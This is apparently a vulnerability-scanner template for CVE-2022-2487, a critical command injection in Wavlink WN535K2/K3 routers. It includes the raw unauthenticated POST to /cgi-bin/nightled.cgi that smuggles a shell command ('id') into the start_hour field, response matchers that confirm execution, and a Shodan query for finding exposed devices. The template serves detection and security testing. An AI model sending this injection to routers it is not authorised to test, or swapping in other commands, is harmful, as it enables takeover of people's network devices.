id: CVE-2022-2487 info: name: Wavlink Nightled.cgi - Remote Code Execution author: For3stCo1d severity: critical description: | A vulnerability has been found in WAVLINK WN535K2 and WN535K3 and classified as critical. This vulnerability affects unknown code of the file /cgi-bin/nightled.cgi. The manipulation of the argument start_hour leads to os command injection. The exploit has been disclosed to the public and may be used. reference: - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20nightled.cgi%20.md - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2487 - https://vuldb.com/?id.204538 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-2487 cwe-id: CWE-78 metadata: shodan-query: http.title:"Wi-Fi APP Login" verified: "true" tags: cve,cve2022,iot,wavlink,router,rce,oast variables: cmd: "id" requests: - raw: - | @timeout: 10s POST /cgi-bin/nightled.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded page=night_led&start_hour=;{{cmd}}; matchers-condition: and matchers: - type: word part: body words: - "uid=" - "gid=" - "nightStart" condition: and - type: word words: - text/html - type: status status: - 200